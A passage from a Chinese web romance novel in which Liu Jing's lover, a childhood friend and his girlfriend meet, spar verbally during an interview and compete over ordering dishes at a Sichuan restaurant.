话刚开了个头,郭蝈突然脸色大变,紧盯着刘憬的小包看。玉瑕何等聪明。短暂错愕,立刻觉悟了。她知道刘憬同学是记者,又是郭副省长千金,只是没往上想而已。
“昏,原来……就是这个小姑娘!”想到刚刚的所作所为,玉瑕暗抽了口凉气,本就未散尽地羞晕,又加颜添色了。
两个女人初一照面。就心照不宣了。里边刘憬正偷听,忽然没了动静,猛然想起自己的包还在外面,也基本明白了。他了解郭蝈,虽然跟他在一起有些大条,但女人这方面都很仔细,何况又是记者。
他本想出去。可人家还要采访,他在那算怎么回事?于是轻轻把椅子搬到门边,准备安心地听场好戏。
空气围着两人,静静地流淌缠绕,气氛尴尬而暧昧。玉瑕咳了一声:“郭记者,喝水。”
“哦,好。”郭蝈心里别扭,定了定心神,不动声色地道:“秦队长,您要是……有什么不方便,我们换个时间也行?”
“没有没有,没有不方便,呵呵。”玉瑕大窘,连连摆手。这小妮子,怎么这么问话,吃醋也不用这样吧?
“是吗。我还以为打扰你了呢。”郭蝈淡淡一笑,心里的不爽已摆到脸上。
“没有,真没有,要不也该睡醒了。”玉瑕拍了下大腿,把二郎腿一翘,摆出一付兵来将挡,水来土掩的姿态。
郭蝈打量着身边人,真有些不高兴了。她见刘憬有女朋友,不想心上人为难,才忍心决定让步。现在明摆着两人干了见不得人的事,刘憬又躲在里面,她忒委屈,孔子文学网觉得自己象个傻兮兮的小丑。
玉瑕靠在沙发靠背上,笑吟吟地看着她。反正做也做完了,人已经是自己的,这小记者挺可爱,还有意思,逗逗玩也好。
两人说了几句,又没动静了,刘憬在里边一阵狂汗。这郭蝈,发现就发现呗,话问得也太直接了,简直一点面子也不讲。
“郭记者,可以开始了吗?”玉瑕又一次打了沉默。
“当然可以。”郭蝈盯了她一眼,从手提包里掏出录音机。
呵!也太毒了吧,还想录音,天晓得这吃醋女孩儿会问什么?玉瑕指了指录音机,笑笑道:“郭记者,可不可以不录音,我对着这玩意说话不太习惯?”
“那好吧。”郭蝈不情愿地把录音机收回,又盯了她一眼。哼,连录音都不敢,肯定是心里有鬼。她更加确信,两人刚刚没干好事,是被自己敲门撞破了。
郭蝈收好录音机,故意向小包瞧了瞧。你装也没用,那包我认得,看你能耍什么鬼花枪!
玉瑕当然明白,不禁暗暗苦笑。那小包,还真是堵招风的墙。
“嗯咳。”郭蝈清了清嗓,转身问道:“秦队长,按我们的惯例,采访之前会对您做简单了解,就是一般性地了解,您能不能把您工作以来的任职经历简单谈谈?”
“没问题。”玉瑕呷了口茶,手指敲着膝头,“我是T市人,一九XX年考地中国刑警学院,那时候是学员队队长,成绩还算不错,毕业后就分到S市交警支队,后来……”
玉瑕娓娓道来,全无拘束,把自身经历说了一遍。自当了女子骑警队长,她多次经历类似采访,早已轻车熟路。
玉瑕说得挥洒自如,带着成功女人职业性的骄傲,郭蝈越看越来气。这个女人果然不寻常,态度不卑又不亢,面不改色跟没事一样。哼!看我旁敲侧击把她访。
玉瑕说完了,端着茶杯,暗暗观察身边人。这小记者,戴个小眼镜,神情不阴又不阳,肯定有鬼心肠,看我察言观色把她防。
郭蝈甜甜一笑,开始发炮:“常听别人讲,秦队长如何不凡,今天见面,才知道果然不同凡响。作为女人,工作做得这么响当当,除了爱岗敬业的好思想,家里方面,想必也安排照应得更周详?”
这话怎么听着耳熟?玉瑕愣了愣,忽然呵呵一笑:“郭记者休要谬夸奖,当交警,为人民,尽职尽责第一桩。哪比得上你们记者,各方各面,常来常往,遇到什么事,又有省委省政府这颗大树好乘凉,我们就是挨累的命,有什么周详不周详?”
郭蝈也是一愣,她就随便问地,对方竟冒这么个段子,于是扬着小脖,不服输地道:“记者就是听着好听,我们采访八方客,逢人开口笑,全凭嘴一张,去时是个客,过后谁思量?
从来都是人一走,茶就凉,没人惦,也没人想!“说完狠狠向里屋房门瞪了一眼。
汗!暴汗!瀑布汗!满头大汗!刘憬在里边,简直成吉思汗了!采访就采访,问话就问话,怎么演上《沙家滨》了?
唉,这么多年,始终一个人,一条枪,今日方开张,刚把一枪放,就搞得昏头又转向,还要在这小屋把身藏,希望自己洪福广,从此之后能逞祥。
靠!我怎么也演上了?
玉瑕差点笑出声,听到全凭嘴一张,脸上又一阵发烧:“郭记者别这么说,你年轻漂亮,家世又好,怎么会没人想?我孤儿寡母的,既要照顾孩子,又要忙工作,才真没人想呢!”说完也向里边瞪了一眼。
两女都冲里边去了。刘憬正贴着门缝偷听,不自觉地笑了,有一些融融的感动在心底流淌。原来不跟他在一起,郭丫头嘴皮子这么厉害。
玉瑕这话,已经有了很大的明示性。郭蝈有些不好意思,又向桌上瞥去。会不会我搞错了,那包不是他的?小丫头动摇了,但不会轻易放弃,干脆问道:“秦队长,你丈夫因公牺牲,时间也不算短了,孩子还那么小,你有没有想过……再给孩子找个爸爸?”
玉瑕听后一窘,忙把茶杯端起:“唉,我快三十的人了,还带着个孩子,就是想找,谁愿意呀!自己凑合过呗!”
郭蝈疑惑更重,瞅了瞅道:“秦队长,我看过你的资料,你原来的住址已经动迁了吧?不知现在搬哪住去了?”
“我现在……咳!咳咳!”玉瑕刚好喝了口茶,一口呛进肺里。
“呀!你没事吧?”郭蝈有些愧疚,侧过身想帮忙拍背。
“没事没事!”玉瑕忙伸手止住,又咳了几声才道:“妹妹,你别在意,刚刚就跟你开个玩笑,他来给你取电动车,就在里边呢,我这就给你喊出来。”
郭蝈脸一红,还没缓过神,就听玉瑕一声大喊:“刘憬,我都快给逼死了,还不滚出来!”
“呱!呱!呱!”门开了,刘憬鼓着掌,尴尬走出,“阿秦嫂、郭参谋长,戏演得不错,该我刘司令出场了吧?”
第六十九章 一世姻缘
都说三个女人一台戏,两个女人一个男人,未尝不是一台戏,刚刚那场智斗,水准足够登台。人生如戏,戏如人生,茫茫人海,能凑到一起演戏,也是缘分。
刘憬笑嘻嘻地坐到郭蝈另一侧,挨得很近,坐下的一瞬,还用肩头撞了下。郭蝈正窘着,忙闪了下身,把小脸一绷:“你干嘛撞我?”
“不干嘛,就是奇怪。”几天没见,刘憬心里软柔柔的,看着她说,“郭蝈,我才知道,你嘴皮子这么厉害,跟我在一起,原来都是让着我的。”
郭蝈窘得更甚,推了推眼镜,很不友好地瞪了他一眼。玉瑕看了看两人,发出询问的眼光。刘憬道:“哦,刀子叫郭洋,就我叫她郭蝈,你叫洋洋吧。”
玉瑕冲他挤了下眼睛,亲昵地拉过郭蝈的手:“洋洋妹妹,你别介意,刚刚就是跟你开个玩笑。刘憬经常提到你,上午打电话,一听说姓郭,我就猜到是你,正巧电动车也弄来了,就把他也叫了过来。”
玉瑕轻描淡写,一句开玩笑,就把两人在房内的尴尬一带而过。刘憬不禁暗暗佩服,在他看来,即使开玩笑,也不能用这种方式,可玉瑕就偏偏解释为开玩笑,人不要脸则无敌,这话真一点不假。
郭蝈有些过意不去,看了看刘憬,转回点了下头:“不好意思,让秦队长见笑了。”
郭蝈也不简单,一句不好意思加见笑,把所有的都带过了。刘憬有些意外,他一直以为郭蝈傻兮兮的,现在才认识到这丫头过人的一面,不仅场面上的应付能力丝毫不差,而且也没被玉瑕糊弄住,至少没象小老虎似的,一句妹妹就跟人姐姐长姐姐短。
玉瑕当然不会在意。依旧面带微笑。
下午的阳光闲闲地洒进,三人聊了起来,气氛还算融洽,那场智斗,事实上拉近了两女的心理距离。玉瑕谈笑自若,将自身亲和力发挥到极致,象老大姐对一双小情人;郭蝈虽有疑惑,但也很受感染。一个人的精神和命境成反比,总会感染其他人。玉瑕当然是这类;刘憬感受复杂些,但更心不在焉。因为时不时要注意自己地拉链门。
时间差不多了,刘憬起身道:“玉瑕,我还要请郭蝈吃饭,我们先走了。”郭蝈悄悄红了下脸。随之站起,也不采访了。
“哦,你等一下,我把车钥匙给你。”玉瑕点点头,向办公桌走去。稍做犹豫,她将两把钥匙都拿了,并将一把直接递给郭蝈。
郭蝈腼腆地道了个谢:“麻烦秦队长了。”
“有什么麻烦的,我也就这点能耐。”玉瑕大度地笑了笑。“现在偷电动车成风,以后车再丢了,直接跟姐姐吱声,不用通过他。”
郭蝈笑了下,不无歉意地道:“秦队长,那我们的采访……”
“无所谓,你随便写吧。反正就那么回事,谁都明白。”
说着话,玉瑕把另一把钥匙递向刘憬。郭蝈没再言语。刘憬道:“不用给我,你下班给我骑回家吧。”
“哦,好。”玉瑕愣了愣,不自觉地向郭蝈望去。郭蝈翻了翻眼睛,轻轻哼了一声。
两人告辞而去,拐个弯进了楼梯。郭蝈小脸一拉,酸溜溜道:“你还给女朋友要一辆吧?干嘛让别人骑家去,直接把她找来不就得了?”
“我是要找她,不过车子我另有用意。”刘憬苦笑。
郭蝈没再继续,神色有些黯然:“你女朋友是团市委的吗?”
“嗯,对,听你哥说的吧。”
郭蝈未答,又反问道:“有什么要帮忙的吗?”
“暂时没有。”刘憬心里很有些不好受,“以后晋职晋级什么的,照顾下就行。”
郭蝈闷头不语,刘憬也颇感无力,两人出了楼门。
外面的风斜斜地吹着,阳光照得两条影子有些错乱。刘憬心头又一阵惆怅,以前的日子,总是好多说话,也好多轻松,现在面对面地喜欢,却徒增感伤。人生若只初相见,他又想到缘分两字,难道最初的喜欢都注定有缘无分?尤其今天,他有了女朋友之后,又算正式有了情人,如此面对最初地喜欢,心中那份无力让他觉得好残忍。
郭蝈瞥了瞥他,有些不忍心:“你怎么不说话?”
“没什么。”刘憬收拢心神,笑笑道:“我在想领你到哪吃饭?”
郭蝈停住,扬眉看着他:“想好了吗?”
“想好了。”刘憬转身对着她,微笑说,“去巴蜀酒楼吧,记得在我家时,你挺爱吃香辣蟹,那肯定比我妈做得好。”
郭蝈心内立刻被幸福溢满,忙把腰板一挺:“你少讨好我?我问你,我进门之前,你和那个女警察干嘛了?”
“跟你说了开玩笑,你想哪去了?”刘憬暗暗汗了一个,“你也不想想,我要真和她怎么样,家里不有都是机会,还用跑到办公室提心吊胆?再说我的为人你又不是不知道?”
“你的为人?哼!”郭蝈不屑地瞥了一眼,目光移到他裤裆处。
刘憬再汗,闹了半天这丫头早发现了,于是故作恍然:“你说这个呀,我拉锁坏了,还没来得及回家。正好你提醒了我,走,先陪我回家换条裤子!”说着话,不由分说,拥着她双肩就向电动车走去。
“你就编吧,谁信哪?”郭蝈被拥住,感觉美多了。
“她又不傻,明知你要来采访,能跟我做什么?”刘憬横眉立目,愤愤然道:“不是我说你,郭蝈,你什么时候变得这么龌龊了!”
“谁龌龊,明明是我来迟了,你们才会……”
“行了。快去拿车吧!”刘憬推了一把,这丫头还真不好骗。
“坏男人!”郭蝈骂了一句,美滋滋地过去开锁。
形而上学和本本主义从来都要批判,《妻不如妾》中化妆盒的例子显然对郭蝈不适用。两辆一模一样地电动车意味着相同的地位,虽然郭蝈只是干妹妹,但她却这样想。
郭蝈运气不错,一下就捅正了。刘憬坐到后边,搂上她小腰,电动车发着嗡嗡声。欢叫着冲出,跟以前一样。
玉瑕双手抱胸站在窗边。目送两人冲出交警队大门,脸上是幸福的浅笑。她忽然觉得做情人挺不错,不必象妻子或女友那样着急计较;找个小男人也不错,可以宠着惯着。就算真着急计较了,也多半会让着,只要他够好,大不了随他开心。
玉瑕歪头笑了笑,有些自嘲的味道,随即回办公桌收拾东西。她要早点回家,做点好吃的。今天是有第二个老公的日子,她不能不让他出去。但可以等他回家,然后一起庆祝。
郭蝈骑着电动车,在街上欢快奔驰,迎面的风吹得她短发呼呼乱蹿。这样骑着车,被心上人从身后拥着,她既开心,又兴奋。象回到两人以前地日子。
“刘憬,告诉你个好消息,昨天秋阳去找我了。”郭蝈回头大喊。
“接着说。”这算什么好消息,刘憬面无表情。
“他要开房地产公司,让我帮他办手续!”
“什么!他要干房地产?”刘憬当时直起身,喊得比郭蝈声还大。从西藏回来,他给鲁秋阳打过一个电话,没听提到这件事。
“你别老瞧不起秋阳。”郭蝈回了下头,不满地道:“人是会变地,秋阳现在就变了!”
“岂止是变,简直是倒立。”刘憬很快恢复心情。他吃惊归吃惊,但并不意外,鲁秋阳这类人,从来都是极端分子,不变则已,只要转变,比任何人都灵活世故,甚至卑鄙。
“别这么说。”郭蝈很为老同学的转变而高兴,“秋阳真变了,还说过段时间让我帮他联系,要跟我爸或我哥见面呢。”
“是吗?”刘憬皱着眉,有点明白了。现在鑫廊工程大面积动迁,鲁秋阳要是真能成功说动郭副省长,把批地和贷款都解决了,再以期房的形式动工,一把就发大财了。靠,这个家伙,果然成精了!
郭蝈忽又大叫道:“对了,他还说要跟小欣结婚,不过日子还没定,到时候会通知我们。”
“呵,不结婚也不行了。”刘憬会心一笑,迎风做了个深呼吸,很欣慰。谁说这个社会不美好,鲁秋阳回归正常人一族,至少他的世界已经很美好了。
电动车穿过大街小巷,两人说说笑笑,心情逐渐轻灵,如同身边不断倒退的景物,因为有风,所以飞扬,因为有人,所以不会寂寞。
到家楼下,刘憬怕车再丢了,让郭蝈直接把车骑进存车棚,才放心上楼。刚进楼洞,郭蝈眼睛又闪了起来,瞥着他问:“刘憬,你跟那女警察真没什么吗?”
“真没有。”刘憬硬着头皮撒谎。
郭蝈看了看他,扁着嘴道:“我又不是你女朋友,也管不着你,你不用跟我撒谎?”
刘憬暗叹一声,望着她道:“郭蝈,算了,别想太多了。”
郭蝈扯住他手臂,模样可怜又认真:“刘憬,我都让着你女朋友了,你要再跟别人胡来,我会很难受很难受,难受到不能接受的!”
好不容易追了个女朋友,玉瑕口口声声让的,连郭蝈也这么说。刘憬叹了口气,抽出手臂搂上她肩头:“好了好了,我知道你让她,你还是我妈后备地儿媳妇,你放心,如果我娶不着她,肯定会毫不犹豫地把你娶进门,这总行了吧?”
“你知道就好,反正我以后都不嫁人了!”郭蝈小脖一扬,气哼哼地说。
二人进房,刘憬刚关好门,郭蝈就扑到他怀里,死死抱住了他。
“郭蝈,你……”
刘憬地心,又开始疼了。
郭蝈贴在他胸前,仰头望着他:“刘憬。我以前好久看不到你都能忍住,现地一天不见就难过死了,怎么办哪?”
刘憬目光忧伤,不知该说什么,只得伸出双臂把她搂紧。
郭蝈眼神无力,充满不乱:“为什么会这样,你明明最喜欢我?”
刘憬强打起精神,抚着她的短发:“郭蝈,听我一句。不要再想了,我们这辈子就没有夫妻地命。赶紧找个男朋友,有男朋友就好了。我不骗你,我跟我女朋友在一起时,就很少想起你。”
“才不是!”郭蝈推开他。倔强地说,“我们有缘分,这辈子肯定会做夫妻。”
刘憬没话说了,低头换鞋,带着叹息。
“我说是真的!”郭蝈抓住她双臂,急切地道:“我都算过了!”
“算过!怎么算的?”刘憬一怔,把鞋子扔到一边。
郭蝈睁大眼睛。极度认真地道:“A市有个算命的,可准了!从你家回来时,你说我们没有夫妻命,我不信,怎么想怎么别扭,怎么可能呢?所以前天特意去算了!”
“算命啊?”刘憬哭笑不得。“这不封建迷信吗!那能准吗,都是一派胡言。”
“是真地。”郭蝈焦急地坚持着。
“什么真的?算命地都是骗钱。一个字不能信!”刘憬换好拖鞋,直接进房了。
“你……”郭蝈拢了下头发,忙换鞋冲了进去。
刘憬家变化很大,很多家俱都变样了,郭蝈本能地一愣。
刘憬准备进房换裤子,边走边解着皮带。郭蝈回过神,扯着他就回到沙发上。
“哎,你干嘛呢?”刘憬皮带刚解完,只好拎着裤子坐下。
郭蝈坐到他身边,心急地道:“刘憬,我不骗你,真的很准。”
“封建迷信怎么可能准?”刘憬揪着裤腰,无奈地望着她。
“哎呀,你先听我说嘛?”郭蝈很难得地打了他一下,凑到他面前,“我也怕他骗人,总共写了十个生辰八字,九个是瞎编的,一个是你的,他一下就把你挑出来了!”
“是吗?”刘憬也愣了,回了回神道:“你知道我几点生的?”
“我打电话问你妈了!”
“他蒙的吧,就是……就是碰巧了。”刘憬讷讷地说。
“蒙怎么没蒙到别地,为什么偏偏蒙到你,这不就说明我们有缘分吗?”郭蝈盯着他的眼睛,目光执着无比。
刘憬呆呆地望着她,没词了。他是个无神论者,从不信这套,可世上有些东西确实很难解释,你可以不相信,却没法不震撼,即使就是碰巧,就是蒙。
郭蝈拉住他的手,神秘地道:“他还说了,我们是‘三生有幸,一世姻缘。’”
“啥意思?”刘憬皱着眉头问。
郭蝈推了下眼镜,有些喘说:“就是我们三辈子都有缘,但只有这辈子能在一起。”
刘憬又没话了,不仅心疼,头都开始疼了。
“这回你该信了吧?”郭蝈紧着他问。
刘憬无奈,木木地点了下头:“郭蝈,既然这东西这么神秘,那我们该干嘛干嘛,反正迟早有那天,你说是吧?”
“你什么意思?”郭蝈不乐意了。
刘憬拍了拍她脸蛋,笑着说:“意思就是……你该找男朋友找男朋友,我该处女朋友处女朋友,该结婚都结婚,反正已经注定,说不定哪天,我们都黄了,到时候就在一起了。”
这回轮到郭蝈没话了,老不情愿,忒不甘心地看着他。
刘憬在她肩上拍了两把,准备进房去换裤子。他刚站起身,就听郭蝈“啊”地一声大叫,捂着脸转过身。
“靠!忘了裤子了!”刘憬连忙提起,屁滚尿流地跑进房。
刘憬换好裤子,两人下楼,郭蝈去取车,他给小老虎打电话:“芳袭,晚上没事吧?”
“干嘛?”小老虎望着一桌子地照片,正不爽中。
刘憬有点心虚,紧了紧手机道:“是这样,那天我不跟你说了吗,我做好事,把我同学电动车弄丢了,玉瑕帮我要了一辆,我还给她,再顺便请她顿饭,就在巴蜀酒楼,她一直想认识你,你也快下班了,干脆也过去得了,怎么样?”
“就那省长同学?”小老虎举起手中的照片,冷冷盯着那个抱着自己爱人地女孩儿。
“嗯,对。”刘憬认可了省长同学这个称呼。
小老虎哼哼一笑:“好啊,我也正想见见她。巴蜀酒楼是吧,我一定去。”
第七十章 疯狂比拼
近晚的阳光依旧浓烈,地上散发着积累了一天的余热,刘憬站在大楼遮蔽处,望着烈日下的一株矮树,光线从枝叶间隙中散落,象是流淌在岁月里的零碎思绪。谁说阴影总是从属于阳光,它可以带来阴凉。
刘憬觉得今天很特殊,他有了情人,还做了类似A片里那种恶心事,然后生命中最初的喜欢出现,与他的情人和女友分别见面。他不知道这是否预示着什么,但大道如青天,凡事都离不开个法字,客观联系,永远都存在。
他忽然想到私奔大师那句话:善恶有因,回报有果,神是公平的。他不是佛教徒,但明白这句话,也渴望公平,可人生只有一次,在一个巨大的轮回中谈公平,真的公平吗?
“三生有幸,一世姻缘。”他要的不多,此生公平就可以了。
刘憬无耻地发着感慨,郭蝈出来,把车立住了。
“不赶紧走,还等什么?”刘憬问。
郭蝈没回话,左右看了看,忽然扯着他进了楼洞,呼一下将他抱紧:“刘憬,我不想找男朋友,也不想和别人结婚,这辈子就想和你一个人。”
刘憬阵痛般揪心,连忙拥住:“听话,郭蝈,不要再想了,越想越难受,再这样下去,咱俩这辈子都别想开心了。”
“是你怕不开心!”郭蝈扬着小脸,委屈无比,“不能跟你在一起,我反正也没办法开心了,这辈子都不会了!”
刘憬无言,好无力地望着她。自两人的感情坦白,郭蝈再无昔日的腼腆,象个被娇纵的孩子,总是让他心疼得苍白。
郭蝈不忍心。恢复了几分理智:“刘憬,其实我都想好了,不想难为你,可要见你女朋友了,我心里忒难受。”
“我明白。”刘憬恍恍然抱住她的头,“郭蝈,那就别去了,我跟她说一声,改天我给你打电话。咱俩单独吃。”
“算了吧。”郭蝈低低地说,又挣扎着昂起头。“我不去,她一定会以为我怕她。”
“怎么会?她什么都不知道。”
“可我知道啊!”郭蝈扁着嘴,倔强地道:“我会忍不住这么想。而且我也想看看她,看她值不值得我让。”
“那好吧。”刘憬无奈,只得道:“她性格直率,还很善良,啥心眼没有,你不用担心,一定会跟她相处得很好。”
“不准夸她!”郭蝈鼓了鼓眼。把他推开了。
刘憬叹了一声跟出,还好,电动车还在。
时近傍晚,日已西斜,两人前后坐上车,郭蝈手扶车把,又回头道:“我们肯定会做夫妻。你女朋友现在得意也没用,你看着吧!”
说完,电动车嗡地冲出,好快!刘憬连忙搂紧。
巴蜀酒楼是家乡菜馆,东兴电子的对口饭店,公司招待客户,同事聚会,大多往这跑,所以刘憬选择了这里,因为习惯。
时间尚早,店里食客不多,刘憬引着郭蝈,在大厅找了个靠窗的位置坐下。服务生立刻拿着菜谱过来询问:“请问几位?”
“三位。”刘憬伸出三根手指。
“请问现在点菜吗?”
“等会儿吧。”刘憬稍做犹豫,对郭蝈点了个头。
服务生礼貌地退去了。刘憬习惯性地环看了一遭,探身问道:“郭蝈,以前来过这儿吗?”
郭蝈摇了摇头:“我们要不就去人事厅对口的几家,要不就吃海鲜,很少上专门菜馆。”
“这里川菜相当不错,我吃着忒舒服,一会儿你尝尝就知道了。”刘憬虽在海滨长大,又不喝酒,但忒好麻辣这口。
郭蝈扁了下嘴:“你女朋友在这儿,做得再好我也吃不香。”
刘憬苦笑:“别这么说,我女朋友真挺好说话的,你们肯定能谈得来。对了,她也能喝点酒,我让她陪陪你。”
“反正我不会耠给她。”郭蝈小脖一扭,别向窗外。
两人正说话间,芳袭打车到了,刘憬隔着玻璃挥了挥手。
小老虎看了一眼,把目光盯向他对面;郭蝈推了下眼镜,毫不示弱地迎上。芳袭还没进门,两人已隔着玻璃擦火花。
“果然是她,四眼小样,还有胆当第三者?”小老虎斜着脑袋,边走边发射目光。
“没什么了不起嘛,虎头虎脑,看样子就没我温柔。”郭蝈昂着小脖,眼里颇为不屑。
芳袭进来了,刘憬起身往里让:“芳袭,你进去坐吧。”
“不用了,我就坐这儿。”小老虎看都没看他,一屁股坐在横头,眼睛仍盯着郭蝈。郭蝈正了正身,微微点了下头,还好她没忘了自己客人地身份。
刘憬看了看两人,不无尴尬地道:“行,你就坐那吧。”
小老虎目光冷冷,甚不友好,不停地上下打量;郭蝈扬了扬眉,反倒斜向天花板了。
刘憬看着两女,脸色极为难看。他实在想不到,更不明白,这才刚照面,两人怎么会这样?他咳了一声,准备为双方介绍一下,以打破目前的尴尬局面。
“请问可以点菜了吗?”他还没说话,服务生拿着菜谱过来了。
“哦,点。”刘憬只得暂缓介绍,给两女各递一份菜谱,“你们点吧,想吃什么点什么。”
芳袭终于收回目光,随便把菜谱放在面前;郭蝈也不再斜眼看天,拿着菜谱,往椅背上一靠,优雅地翻开。
女孩儿们停火了,刘憬心中稍安,对服务生道:“先来个香辣蟹!”这是郭蝈爱吃的,他记得。
郭蝈正看菜谱,闻言歪了歪头,美美地笑了。小老虎本来没在意,见她一笑,觉得不对劲了,缓缓向爱人望去。
“这个,是我爱吃的。”刘憬展出一个笑容,傻呵呵地解释了一句,没敢说是郭蝈爱吃。
小老虎眼神稍缓,但仍狐疑,又不自觉地向郭蝈望去。
不是男人!郭蝈正美呢,不料心上人没敢承认,当下小脸一绷:“怪味鸡,我爱吃的!”
你还牛了?小老虎气了,横了她一眼,刷地翻开了面前的菜谱:“芝麻兔,我也爱吃!”
两人刚对完眼光,才歇火,又拼上点菜了,刘憬左瞧瞧,右看看,没敢吭声。
哼,没胆的家伙!郭蝈瞪了他一眼,咬了咬牙又道:“樟茶鸭子,也是我爱吃的,我爱吃的多了。”
嗬,你还没完了?小老虎愈加不忿,忙低头翻了翻:“银杏蒸鸭!有什么了不起,谁没有爱吃地?”
“哎哎,芳袭,两鸭子了,换个别的吧?”刘憬小心翼翼地插了句,点什么不好,非点一样地。
服务生正美滋滋地要往本上记,忙停住笔,憋着笑看着三人。
“换什么换!”小老虎啪地拍了下菜谱,“我爱吃不可以吗?”
“可以可以,那就点吧。”刘憬这个郁闷,就说了句我爱吃,惹出这么大祸。
小老虎制服了爱人,得意无比地向郭蝈睨去。见不得光的第三者,还想跟我争,做你的清秋大梦去吧!
郭蝈气坏了,连连推着眼镜,这个不平。太过分了!人我都让出去了,点菜也跟我争,女朋友了不起呀!
“干蒸黄鱼,我爱吃的有都是!”郭蝈随便翻了下,又点了一个。
“干烧岩鲤,我爱吃地数不清!”小老虎毫不示弱,也点了一个。
服务生喜出望外,刷刷地往本上记。刘憬坐在一旁,无力又无奈。他就不明白,比什么不好,比爱吃,饭桶啊?郭蝈还罢了,这小老虎跟着比个什么劲,花自己家钱,点越多不吃亏越大吗?
“南卤醉虾!看谁爱吃的多!”郭蝈抻着脖子说。
“吉利大虾!我就是比你多!”芳袭瞪着眼睛道。
“虫草鹌鹑!你比呀!”“芪蒸鹌鹑!比就比!”
“一品海参!”“金钱海参”“三丝鱼翅”“四味鲍鱼”
“够了!”刘憬大喝一声,拍案而起。他忍无可忍,实在受不了啦,连海参鱼翅和鲍鱼都上来了,这得花多少钱?
两个女孩儿吓一跳,旋即一起向他瞪去。刘憬摊着双手,万般无奈地道:“我说你们话还没说一句呢,点菜倒点个没完了,现在都几千块钱了,不说花钱多少,吃得了吗?”
二人有些尴尬,互瞪了一眼没再吭声,尤其是芳袭,才意识到钱的问题,终于后悔了。
刘憬叹了口气坐下,对服务生挥了下手:“就这些,去吧。”
服务生犹豫了一下,欠了欠身道:“先生,现在正好十五个菜,一般双数比较吉利,不如再点一个?凑十六个。”
“还他妈点**!你让不让人活了?”刘憬这个来气,激歪歪地向这小子瞪去。
“随便点一个就成,当然我们只是建议。”服务生彬彬有礼,丝毫不为所动。
两女一听,刷地把菜谱拿起,斗鸡似地看着对方。现在两人各点七个,这个将是决定胜负的一个。
“你们别看了,这个我点。”刘憬大手一挥,“来个麻婆豆腐!”
第七十一章 大振夫纲
女人是感性的动物,很多时候并不具备智商,可能让人头疼,但绝非不可爱。看着服务生拿着菜单,脸上乐得象贴了坨狗屎,刘憬深刻地认识了这一点。
万别介意。”
“怎么会呢?”小老虎神色淡淡,往椅背上一靠,“你是客人嘛,菜点少了,该显得我们招待不周了。”
郭蝈热脸贴了个冷屁股,不爽地向心上人望去。
刘憬连忙出来打浑场:“芳袭,我给你们介绍一下,她就是我常跟你说的那同学,省人才报记者郭洋,你们郭书记的妹妹,我一般叫郭蝈,你就叫洋洋吧。”转了个身,又对郭蝈介绍道:“郭蝈,这我女朋友,叫郑芳袭,团市委办公室的,记得让大哥多照顾照顾。”
郭蝈扶了下眼镜,小手一伸,展出个甜甜的笑脸:“你好,刘憬说你和他一边大,那就比我大一岁,我叫你姐姐吧?”
小老虎冷着眼,看了看她的手,了盯爱人,从身上摸出个厚厚的信封压在桌上:“好不好姐不姐的,还是待会儿再说吧,你们先给我解释下这东西。”
两人面面相觑,对望了一眼,刘憬探头问:“这什么东西?”
“这可是好东西呀!”小老虎怪里怪气,斜眼盯着郭蝈,“这是郭书记,一位正局级领导干部,也就是你的好哥哥让我转交给刘憬的。你猜猜,这是什么东西?”
两人再度对望,郭蝈一颗心悄然悬起,眼神开始闪烁。那信封厚厚的一沓,怎么看怎么象八寸照片。难道……
“哼!”小老虎来回斜着两人,突然把最上一张摸出,啪地往桌上一拍,“你们解释吧?”
“啊!”郭蝈娇呼半声,忙捂住嘴巴,把身体别向窗外。
刘憬也差点叫出声,把头一缩,僵着身子和郭蝈大眼瞪小眼。这张照片正是两人在林芝街头,深情拥抱的那张。
郭蝈羞窘不堪。脸上臊得象着了火,简直无地自容。初次见面。就被当场戳穿,她有种被扒光了示众的感觉;刘憬头皮发麻,惭愧、无力、无奈,都幻化为头疼在脑中交融。两人没什么。甚至谈不上精神偷情,但感情是实实在在的,他们仍无颜以对。
该死的郭军,太卑鄙了!
天色近晚,陆陆续续有食客进门,前堂穿梭不停。巴蜀酒楼价格不菲,多半是包房消费,大厅里只零落着三两桌。没人注意他们的沉默。
小老虎寒着脸,一双冷眼不停地在两人之间移动。
郭蝈俏面胀红,仍对着窗外一动不动。刘憬心中不忍,叹了口气道:“芳袭,同学之间照张像而已,能说明什么?”
“能说明什么?哼哼!”小老虎把照片一举,对着他道。
“你表情呆板,动作僵直,说你没什么我还能信。可她呢,你看看,多陶醉,多幸福,这是同学该有地表情吗?”
刘憬暴寒,外加感动。多好的小老虎,真是明察秋毫!
小老虎探着身,又把照片举到郭蝈面前:“解释下吧,你抱着我男朋友,陶醉成这个样子,到底什么意思?还有你的好哥哥,昨天刚见过面,今天就急着把照片交到我手里,又是什么意思?省长家了不起呀?我们老百姓自由恋爱,光明正大,你们凭什么为所欲为?”
芳袭得理不饶人,郭蝈满腔愧窘逐渐化做了不满,慢慢把身体转回:“我哥做了什么,我根本不知道,如果令你不快了,我可以代他向你道歉,但跟我的家庭无关。”
“你好意思说跟家庭无关,如果不是……”
“芳袭,冷静一下!”刘憬看了郭蝈一眼,连忙扯住,“有什么话回去慢慢说,我保证都告诉你,今天第一次见面,别咄咄逼人了。”
“我咄咄逼人?”小老虎怒了,把照片往桌上一摔,“他们做得出来,干嘛不让我说?喜欢一个人没有错,可凭什么干出这种事?有权有势就可以抢别人男朋友吗?”
刘憬为难至极,眼神苍白无力,不知说什么好。
小老虎怒极,又转头去对郭蝈发炮:“我明白告诉你,我不管你什么省长市长,就是联合国秘书长,我也不怕,想抢我男朋友,我劝你早早死了这条心!”
郭蝈低着头,面色惨白,心里好多的委屈和愤懑。
郭军偷鸡不成,反陷郭蝈于不义,刘憬看在眼里,心内说不出的忧伤和揪心,终于忍不住拍了下桌子:“芳袭,别说了!”
小老虎转身,吃惊地望着他;郭蝈也是一惊,猛地抬起头。
刘憬做了个深呼吸,平静地道:“芳袭,别说郭蝈了,我全都就告诉你。我承认……”
“忽悠!”饭桌突然一动。
小老虎霍地转过头,一双虎目瞪得溜圆,恶狠狠地对着郭蝈;郭蝈没理她,扶了扶镜框,使劲地眨着眼睛,不停地递眼神;刘憬刚说一半,茫茫然满头雾水,莫名其妙。
小老虎瞅着郭蝈,忽然抬腿拍了拍裤角,冷冷道:“甭递眼神了,你刚刚踢错人了!”
“啊!”郭蝈俏脸腾地大红,嘴巴一瘪,又闷头对窗户去了。
刘憬啼笑皆非,这才明白,原来是郭蝈情急之下踢了一脚,不想却踢到小老虎了。
服务生适时来上菜,小老虎暂时没再吭声,尴尬局面稍有缓解。
